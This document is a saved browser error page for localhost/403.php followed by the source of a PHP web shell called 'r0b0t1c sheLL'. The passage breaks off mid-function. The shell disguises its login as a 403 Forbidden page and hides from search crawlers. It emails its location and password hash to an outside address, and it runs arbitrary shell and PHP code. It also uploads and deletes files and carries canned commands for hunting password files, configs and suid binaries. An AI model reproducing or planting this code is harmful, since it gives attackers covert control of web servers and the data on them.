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function S(a,b){var c=document;if(b){var e=c.getElementById(a);if(!e){e=b();var d=c.getElementById("jsts");d||(d=c.createElement("div"),d.id="jsts",r(d),d.style.position="absolute",c.body.appendChild(d));var g=c.createElement("div");d.appendChild(g);g.innerHTML=e;e=c.getElementById(a)}c=e}else c=c.getElementById(a);return c?(L(c),c=c.cloneNode(!0),c.removeAttribute("id"),c):null}function T(a,b,c){c==b.length-1?a.setAttribute("jsinstance","*"+c):a.setAttribute("jsinstance",""+c)};window.jstGetTemplate=S;window.JsEvalContext=u;window.jstProcess=function(a,b){var c=new F;L(b);c.m=b?9==b.nodeType?b:b.ownerDocument||document:document;var e=m(c,c.g,a,b),d=c.j=[],g=c.o=[];c.c=[];e();for(var h,f,k;d.length;)h=d[d.length-1],e=g[g.length-1],e>=h.length?(e=c,f=d.pop(),f.length=0,e.c.push(f),g.pop()):(f=h[e++],k=h[e++],h=h[e++],g[g.length-1]=e,f.call(c,k,h))};
})()</script><script jstcache="0">// Copyright 2012 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

/**
 * @fileoverview
 * NOTE: This file is deprecated, and provides only the minimal LoadTimeData
 * functions for places in the code still not using JS modules. Use
 * load_time_data.m.js in all new code.
 *
 * This file defines a singleton which provides access to all data
 * that is available as soon as the page's resources are loaded (before DOM
 * content has finished loading). This data includes both localized strings and
 * any data that is important to have ready from a very early stage (e.g. things
 * that must be displayed right away).
 *
 * Note that loadTimeData is not guaranteed to be consistent between page
 * refreshes (https://crbug.com/740629) and should not contain values that might
 * change if the page is re-opened later.
 */

/** @type {!LoadTimeData} */
// eslint-disable-next-line no-var
var loadTimeData;

class LoadTimeData {
  constructor() {
    /** @type {?Object} */
    this.data_ = null;
  }

  /**
   * Sets the backing object.
   *
   * Note that there is no getter for |data_| to discourage abuse of the form:
   *
   *     var value = loadTimeData.data()['key'];
   *
   * @param {Object} value The de-serialized page data.
   */
  set data(value) {
    expect(!this.data_, 'Re-setting data.');
    this.data_ = value;
  }

  /**
   * @param {string} id An ID of a value that might exist.
   * @return {boolean} True if |id| is a key in the dictionary.
   */
  valueExists(id) {
    return id in this.data_;
  }

  /**
   * Fetches a value, expecting that it exists.
   * @param {string} id The key that identifies the desired value.
   * @return {*} The corresponding value.
   */
  getValue(id) {
    expect(this.data_, 'No data. Did you remember to include strings.js?');
    const value = this.data_[id];
    expect(typeof value !== 'undefined', 'Could not find value for ' + id);
    return value;
  }

  /**
   * As above, but also makes sure that the value is a string.
   * @param {string} id The key that identifies the desired string.
   * @return {string} The corresponding string value.
   */
  getString(id) {
    const value = this.getValue(id);
    expectIsType(id, value, 'string');
    return /** @type {string} */ (value);
  }

  /**
   * Returns a formatted localized string where $1 to $9 are replaced by the
   * second to the tenth argument.
   * @param {string} id The ID of the string we want.
   * @param {...(string|number)} var_args The extra values to include in the
   *     formatted output.
   * @return {string} The formatted string.
   */
  getStringF(id, var_args) {
    const value = this.getString(id);
    if (!value) {
      return '';
    }

    const args = Array.prototype.slice.call(arguments);
    args[0] = value;
    return this.substituteString.apply(this, args);
  }

  /**
   * Returns a formatted localized string where $1 to $9 are replaced by the
   * second to the tenth argument. Any standalone $ signs must be escaped as
   * $$.
   * @param {string} label The label to substitute through.
   *     This is not an resource ID.
   * @param {...(string|number)} var_args The extra values to include in the
   *     formatted output.
   * @return {string} The formatted string.
   */
  substituteString(label, var_args) {
    const varArgs = arguments;
    return label.replace(/\$(.|$|\n)/g, function(m) {
      expect(m.match(/\$[$1-9]/), 'Unescaped $ found in localized string.');
      return m === '$$' ? '$' : varArgs[m[1]];
    });
  }

  /**
   * As above, but also makes sure that the value is a boolean.
   * @param {string} id The key that identifies the desired boolean.
   * @return {boolean} The corresponding boolean value.
   */
  getBoolean(id) {
    const value = this.getValue(id);
    expectIsType(id, value, 'boolean');
    return /** @type {boolean} */ (value);
  }

  /**
   * As above, but also makes sure that the value is an integer.
   * @param {string} id The key that identifies the desired number.
   * @return {number} The corresponding number value.
   */
  getInteger(id) {
    const value = this.getValue(id);
    expectIsType(id, value, 'number');
    expect(value === Math.floor(value), 'Number isn\'t integer: ' + value);
    return /** @type {number} */ (value);
  }

  /**
   * Override values in loadTimeData with the values found in |replacements|.
   * @param {Object} replacements The dictionary object of keys to replace.
   */
  overrideValues(replacements) {
    expect(
        typeof replacements === 'object',
        'Replacements must be a dictionary object.');
    for (const key in replacements) {
      this.data_[key] = replacements[key];
    }
  }
}

/**
 * Checks condition, throws error message if expectation fails.
 * @param {*} condition The condition to check for truthiness.
 * @param {string} message The message to display if the check fails.
 */
function expect(condition, message) {
  if (!condition) {
    throw new Error(
        'Unexpected condition on ' + document.location.href + ': ' + message);
  }
}

/**
 * Checks that the given value has the given type.
 * @param {string} id The id of the value (only used for error message).
 * @param {*} value The value to check the type on.
 * @param {string} type The type we expect |value| to be.
 */
function expectIsType(id, value, type) {
  expect(
      typeof value === type, '[' + value + '] (' + id + ') is not a ' + type);
}

expect(!loadTimeData, 'should only include this file once');
loadTimeData = new LoadTimeData();

// Expose |loadTimeData| directly on |window|, since within a JS module the
// scope is local and not all files have been updated to import the exported
// |loadTimeData| explicitly.
window.loadTimeData = loadTimeData;

console.warn('crbug/1173575, non-JS module files deprecated.');
</script><script jstcache="0">const pageData = {"details":"Details","errorCode":"HTTP ERROR 500","fontfamily":"\"sans\", Arial, sans-serif","fontsize":"75%","heading":{"hostName":"localhost","msg":"This page isn’t working"},"hideDetails":"Hide details","iconClass":"icon-generic","language":"en","reloadButton":{"msg":"Reload","reloadUrl":"http://localhost/403.php"},"suggestionsDetails":[],"suggestionsSummaryList":[],"summary":{"failedUrl":"http://localhost/403.php","hostName":"localhost","msg":"\u003Cstrong jscontent=\"hostName\">\u003C/strong> is currently unable to handle this request."},"textdirection":"ltr","title":"localhost"};loadTimeData.data = pageData;var tp = document.getElementById('t');jstProcess(new JsEvalContext(pageData), tp);</script></body></html>

Original PHP code

<?php 
$auth_pass = "9e3414bc77d8635228ad4f8b9b7461ac";
$color = "757575";
$default_use_ajax = true;
$default_charset = 'Windows-1251';
$default_action = 'r0b0t1c';

if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@session_start();
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('bOt_VERSION', '666');


if(get_magic_quotes_gpc()) {
	function bOtstripslashes($array) {
		return is_array($array) ? array_map('bOtstripslashes', $array) : stripslashes($array);
	}
	$_POST = bOtstripslashes($_POST);
}

function bOtLogin() {
	die("<title>403 Forbidden</title>
 <h1>Forbidden</h1>
<p>You don't have permission to access any data on this server.<br><br>Additionally, a 403 Forbidden error was encountered while trying to use an ErrorDocument to handle the request.</p>
<br><br><br><br><br><br><br><br>
<style>
input { margin:0;background-color:#fff;border:1px solid #fff; }
</style>
<right>
<form method=post>
<input type=password name=pass>
</form></right>");
}

if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
	if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
		$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
	else
		bOtLogin();

if(strtolower(substr(PHP_OS,0,3)) == "win")
	$os = 'win';
else
	$os = 'nix';

	$visitcount = $HTTP_COOKIE_VARS["visits"];
 if( $visitcount == "")
 {$visitcount = 0; 
 $visitor = $_SERVER["REMOTE_ADDR"]; 
 $web = $_SERVER["HTTP_HOST"];
 $inj = $_SERVER["REQUEST_URI"];
 $target = rawurldecode($web.$inj);
 $body = "Link Injek PHP shell :  $target | MD5 pass = $auth_pass | IP akses = $visitor"; @mail("byguardian@ymail.com","sheLL", "$body");
 } else { 
 $visitcount; 
 } setcookie("visits",$visitcount);
 
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
    error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
	@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
	$home_cwd = str_replace("\\", "/", $home_cwd);
	$cwd = str_replace("\\", "/", $cwd);
}
if( $cwd[strlen($cwd)-1] != '/' )
	$cwd .= '/';

if(!isset($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax']))
    $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$GLOBALS['default_use_ajax'];

if($os == 'win')
	$aliases = array(
		"List Directory" => "dir",
    	"Find index.php in current dir" => "dir /s /w /b index.php",
    	"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
    	"Show active connections" => "netstat -an",
    	"Show running services" => "net start",
    	"User accounts" => "net user",
    	"Show computers" => "net view",
		"ARP Table" => "arp -a",
		"IP Configuration" => "ipconfig /all"
	);
else
	$aliases = array(
  		"List dir" => "ls -lha",
		"list file attributes on a Linux second extended file system" => "lsattr -va",
  		"show opened ports" => "netstat -an | grep -i listen",
        "process status" => "ps aux",
		"Find" => "",
  		"find all suid files" => "find / -type f -perm -04000 -ls",
  		"find suid files in current dir" => "find . -type f -perm -04000 -ls",
  		"find all sgid files" => "find / -type f -perm -02000 -ls",
  		"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  		"find config.inc.php files" => "find / -type f -name config.inc.php",
  		"find config* files" => "find / -type f -name \"config*\"",
  		"find config* files in current dir" => "find . -type f -name \"config*\"",
  		"find all writable folders and files" => "find / -perm -2 -ls",
  		"find all writable folders and files in current dir" => "find . -perm -2 -ls",
  		"find all service.pwd files" => "find / -type f -name service.pwd",
  		"find service.pwd files in current dir" => "find . -type f -name service.pwd",
  		"find all .htpasswd files" => "find / -type f -name .htpasswd",
  		"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  		"find all .bash_history files" => "find / -type f -name .bash_history",
  		"find .bash_history files in current dir" => "find . -type f -name .bash_history",
  		"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  		"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
		"Locate" => "",
  		"locate httpd.conf files" => "locate httpd.conf",
		"locate vhosts.conf files" => "locate vhosts.conf",
		"locate proftpd.conf files" => "locate proftpd.conf",
		"locate psybnc.conf files" => "locate psybnc.conf",
		"locate my.conf files" => "locate my.conf",
		"locate admin.php files" =>"locate admin.php",
		"locate cfg.php files" => "locate cfg.php",
		"locate conf.php files" => "locate conf.php",
		"locate config.dat files" => "locate config.dat",
		"locate config.php files" => "locate config.php",
		"locate config.inc files" => "locate config.inc",
		"locate config.inc.php" => "locate config.inc.php",
		"locate config.default.php files" => "locate config.default.php",
		"locate config* files " => "locate config",
		"locate .conf files"=>"locate '.conf'",
		"locate .pwd files" => "locate '.pwd'",
		"locate .sql files" => "locate '.sql'",
		"locate .htpasswd files" => "locate '.htpasswd'",
		"locate .bash_history files" => "locate '.bash_history'",
		"locate .mysql_history files" => "locate '.mysql_history'",
		"locate .fetchmailrc files" => "locate '.fetchmailrc'",
		"locate backup files" => "locate backup",
		"locate dump files" => "locate dump",
		"locate priv files" => "locate priv"
	);

function bOtHeader() {
	if(empty($_POST['charset']))
		$_POST['charset'] = $GLOBALS['default_charset'];
	global $color;
	
	echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - r0b0t1c " . r0b0t1c_VERSION ."</title>
<style>
body{background-color:#000000;color:#ffffff;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#ffffff; }
table.info{ color:#fff;background-color:#000000; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid #800000;padding: 2px 5px;font: 14pt Verdana;background-color:#000000;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#000000; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #800000;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:250px; }
input,textarea,select{ margin:1;color:#fff;background-color:#000000;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#800000;}
.main tr:hover{background-color:#335EA8}
.l1{background-color:#800000}
.l2{background-color:#ffffff}
pre{font-family:Courier,Monospace;}
</style>
<script>
    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
    var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
    var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
    var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
    var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
    var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
    var d = document;
	function set(a,c,p1,p2,p3,charset) {
		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		d.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = 'ajax=true';
		for(i=0;i<d.mf.elements.length;i++)
			params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
		sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
	}
	function sr(url, params) {
		if (window.XMLHttpRequest)
			req = new XMLHttpRequest();
		else if (window.ActiveXObject)
			req = new ActiveXObject('Microsoft.XMLHTTP');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open('POST', url, true);
            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
            req.send(params);
        }
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} else alert('Request error!');
	}
</script>
<head>
<body>
<center><a href='http://khudhori.com' target='_blank'>r0b0t1c sheLL</a></center>
<div style='position:absolute;width:100%;background-color:#800000;top:14;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>
";
	$freeSpace = @diskfreespace($GLOBALS['cwd']);
	$totalSpace = @disk_total_space($GLOBALS['cwd']);
	$totalSpace = $totalSpace?$totalSpace:1;
	$release = @php_uname('r');
	$kernel = @php_uname('s');
	$explink = 'http://exploit-db.com/list.php?description=';
	if(strpos('Linux', $kernel) !== false)
		$explink .= urlencode('Linux Kernel ' . substr($release,0,6));
	else
		$explink .= urlencode($kernel . ' ' . substr($release,0,3));
	if(!function_exists('posix_getegid')) {
		$user = @get_current_user();
		$uid = @getmyuid();
		$gid = @getmygid();
		$group = "?";
	} else {
		$uid = @posix_getpwuid(posix_geteuid());
		$gid = @posix_getgrgid(posix_getegid());
		$user = $uid['name'];
		$uid = $uid['uid'];
		$group = $gid['name'];
		$gid = $gid['gid'];
	}

	$cwd_links = '';
	$path = explode("/", $GLOBALS['cwd']);
	$n=count($path);
	for($i=0; $i<$n-1; $i++) {
		$cwd_links .= "<a href='#' onclick='g(\"r0b0t1c\",\"";
		for($j=0; $j<=$i; $j++)
			$cwd_links .= $path[$j].'/';
		$cwd_links .= "\")'>".$path[$i]."/</a>";
	}

	$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
	$opt_charsets = '';
	foreach($charsets as $item)
		$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';

	$m = array('Sec. Info'=>'SecInfo','Files'=>'r0b0t1c','CMD'=>'Console','SQL'=>'Sql','PHP'=>'Php','Bypass'=>'SafeMode','Encoder'=>'StringTools','Brute'=>'Bruteforce','Bind'=>'Network');
	if(!empty($GLOBALS['auth_pass']))
		$m['Keluar'] = 'Logout';
	$m['Hapus'] = 'SelfRemove';
	$menu = '';
	foreach($m as $k => $v)
		$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';

	$drives = "";
	if($GLOBALS['os'] == 'win') {
		foreach(range('c','z') as $drive)
		if(is_dir($drive.':\\'))
			$drives .= '<a href="#" onclick="g(\'r0b0t1c\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
	}
	echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
       . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>')
       . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Waktu server:</span> ' . date('H:i:s Y-m-d ') . '<br>' . bOtViewSize($totalSpace) . ' <span>Free:</span> ' . bOtViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. bOtPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'r0b0t1c\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
       . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
       . '<table style="border-top:2px solid #800000;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}

function bOtFooter() {
	$is_writable = is_writable($GLOBALS['cwd'])?" <font color='#25ff00'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
    echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #800000;border-bottom:2px solid #800000;'>
	<tr>
		<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Pindah Direktori:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='Hajar!'></form></td>
		<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Lihat File:</span><br><input class='toolsInp' type=text name=f><input type=submit value='Hajar!'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g('r0b0t1c',null,'mkdir',this.d.value);return false;\"><span>Membuat Direktori:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='Hajar!'></form></td>
		<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Membuat File:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='Hajar!'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Perintah Eksekusi CMD:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='Hajar!'></form></td>
		<td><form method='post' ENCTYPE='multipart/form-data'>
		<input type=hidden name=a value='r0b0t1c'>
		<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
		<input type=hidden name=p1 value='uploadFile'>
		<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
		<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='Hajar!'></form><br  ></td>
	</tr></table></div></body></html>";
}

if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
    function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
    function posix_getgrgid($p) {return false;} }

function bOtEx($in) {
	$out = '';
	if (function_exists('exec')) {
		@exec($in,$out);
		$out = @join("\n",$out);
	} elseif (function_exists('passthru')) {
		ob_start();
		@passthru($in);
		$out = ob_get_clean();
	} elseif (function_exists('system')) {
		ob_start();
		@system($in);
		$out = ob_get_clean();
	} elseif (function_exists('shell_exec')) {
		$out = shell_exec($in);
	} elseif (is_resource($f = @popen($in,"r"))) {
		$out = "";
		while(!@feof($f))
			$out .= fread($f,1024);
		pclose($f);
	}
	return $out;
}
function bOtViewSize($s) {
	if($s >= 1073741824)
		return sprintf('%1.2f', $s / 1073741824 ). ' GB';
	elseif($s >= 1048576)
		return sprintf('%1.2f', $s / 1048576 ) . ' MB';
	elseif($s >= 1024)
		return sprintf('%1.2f', $s / 1024 ) . ' KB';
	else
		return $s . ' B';
}

function bOtPerms($p) {
	if (($p & 0xC000) == 0xC000)$i = 's';
	elseif (($p & 0xA000) == 0xA000)$i = 'l';
	elseif (($p & 0x8000) == 0x8000)$i = '-';
	elseif (($p & 0x6000) == 0x6000)$i = 'b';
	elseif (($p & 0x4000) == 0x4000)$i = 'd';
	elseif (($p & 0x2000) == 0x2000)$i = 'c';
	elseif (($p & 0x1000) == 0x1000)$i = 'p';
	else $i = 'u';
	$i .= (($p & 0x0100) ? 'r' : '-');
	$i .= (($p & 0x0080) ? 'w' : '-');
	$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
	$i .= (($p & 0x0020) ? 'r' : '-');
	$i .= (($p & 0x0010) ? 'w' : '-');
	$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
	$i .= (($p & 0x0004) ? 'r' : '-');
	$i .= (($p & 0x0002) ? 'w' : '-');
	$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
	return $i;
}

function bOtPermsColor($f) {
	if (!@is_readable($f))
		return '<font color=#606060>' . bOtPerms(@fileperms($f)) . '</font>';
	elseif (!@is_writable($f))
		return '<font color=white>' . bOtPerms(@fileperms($f)) . '</font>';
	else
		return '<font color=#25ff00>' . bOtPerms(@fileperms($f)) . '</font>';
}

if(!function_exists("scandir")) {
	function scandir($dir) {
		$dh  = opendir($dir);
		while (false !== ($filename = readdir($dh)))
    		$files[] = $filename;
		return $files;
	}
}

function bOtWhich($p) {
	$path = bOtEx('which ' . $p);
	if(!empty($path))
		return $path;
	return false;
}

function actionSecInfo() {
	bOtHeader();
	echo '<h1>Server security information</h1><div class=content>';
	function bOtSecParam($n, $v) {
		$v = trim($v);
		if($v) {
			echo '<span>' . $n . ': </span>';
			if(strpos($v, "\n") === false)
				echo $v . '<br>';
			else
				echo '<pre class=ml1>' . $v . '</pre>';
		}
	}

	bOtSecParam('Server software', @getenv('SERVER_SOFTWARE'));
    if(function_exists('apache_get_modules'))
        bOtSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
	bOtSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
	bOtSecParam('Open base dir', @ini_get('open_basedir'));
	bOtSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
	bOtSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
	bOtSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
	$temp=array();
	if(function_exists('mysql_get_client_info'))
		$temp[] = "MySql (".mysql_get_client_info().")";
	if(function_exists('mssql_connect'))
		$temp[] = "MSSQL";
	if(function_exists('pg_connect'))
		$temp[] = "PostgreSQL";
	if(function_exists('oci_connect'))
		$temp[] = "Oracle";
	bOtSecParam('Supported databases', implode(', ', $temp));
	echo '<br>';

	if($GLOBALS['os'] == 'nix') {
		bOtSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
		bOtSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
		bOtSecParam('OS version', @file_get_contents('/proc/version'));
		bOtSecParam('Distr name', @file_get_contents('/etc/issue.net'));
		if(!$GLOBALS['safe_mode']) {
            $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
            $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
            $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
			echo '<br>';
			$temp=array();
			foreach ($userful as $item)
				if(bOtWhich($item))
                    $temp[] = $item;
			bOtSecParam('Userful', implode(', ',$temp));
			$temp=array();
			foreach ($danger as $item)
				if(bOtWhich($item))
                    $temp[] = $item;
			bOtSecParam('Danger', implode(', ',$temp));
			$temp=array();
			foreach ($downloaders as $item)
				if(bOtWhich($item))
                    $temp[] = $item;
			bOtSecParam('Downloaders', implode(', ',$temp));
			echo '<br/>';
            bOtSecParam('HDD space', bOtEx('df -h'));
			bOtSecParam('Hosts', @file_get_contents('/etc/hosts'));
		}
	} else {
		bOtSecParam('OS Version',bOtEx('ver'));
		bOtSecParam('Account Settings',bOtEx('net accounts'));
		bOtSecParam('User Accounts',bOtEx('net user'));
	}
	echo '</div>';
	bOtFooter();
}

function actionPhp() {
	if(isset($_POST['ajax'])) {
		$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
		ob_start();
		eval($_POST['p1']);
		$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
		echo strlen($temp), "\n", $temp;
		exit;
	}
	bOtHeader();
	if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
		echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
		ob_start();
		phpinfo();
		$tmp = ob_get_clean();
        $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
		$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
		echo str_replace('<h1','<h2', $tmp) .'</div><br>';
	}
	if(empty($_POST['ajax']) && !empty($_POST['p1']))
		$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
    echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
	echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
	if(!empty($_POST['p1'])) {
		ob_start();
		eval($_POST['p1']);
		echo htmlspecialchars(ob_get_clean());
	}
	echo '</pre></div>';
	bOtFooter();
}

function actionr0b0t1c() {
	bOtHeader();
	echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
	if(!empty($_POST['p1'])) {
		switch($_POST['p1']) {
			case 'uploadFile':
				if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
					echo "Can't upload file!";
				break;
			case 'mkdir':
				if(!@mkdir($_POST['p2']))
					echo "Can't create new dir";
				break;
			case 'delete':
				function deleteDir($path) {
					$path = (substr($path,-1)=='/') ? $path:$path.'/';
					$dh  = opendir($path);
					while ( ($item = readdir($dh) ) !== false) {
						$item = $path.$item;
						if ( (basename($item) == "..") || (basename($item) == ".") )
							continue;
						$type = filetype($item);
						if ($type == "dir")
							deleteDir($item);
						else
							@unlink($item);
					}
					closedir($dh);
					@rmdir($path);
				}
				if(is_array(@$_POST['f']))
					foreach($_POST['f'] as $f) {
                        if($f == '..')
                            continue;
						$f = urldecode($f);
						if(is_dir($f))
							deleteDir($f);
						else
							@unlink($f);
					}
				break;
			case 'paste':
				if($_SESSION['act'] == 'copy') {
					function copy_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.'/',$f, $d.$s.'/');
						} elseif(is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_SESSION['f'] as $f)
						copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
